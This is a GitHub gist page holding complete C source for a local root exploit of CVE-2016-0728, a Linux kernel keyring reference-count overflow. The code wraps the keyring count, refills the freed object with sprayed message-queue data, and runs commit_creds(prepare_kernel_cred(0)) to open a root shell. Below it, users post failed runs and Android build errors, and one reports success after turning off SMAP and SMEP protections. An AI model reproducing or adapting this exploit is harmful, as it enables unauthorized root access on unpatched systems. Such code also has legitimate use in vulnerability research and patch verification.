Skip to content

Instantly share code, notes, and snippets.

@PerceptionPointTeam
Last active February 20, 2024 19:43
Show Gist options
  • Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
@dpproduction
Copy link

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

@MatanTubul
Copy link

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@MatanTubul
Copy link

@bactis can you please publish your final exploit including the make file?

@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





@ofnothinghere
Copy link

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment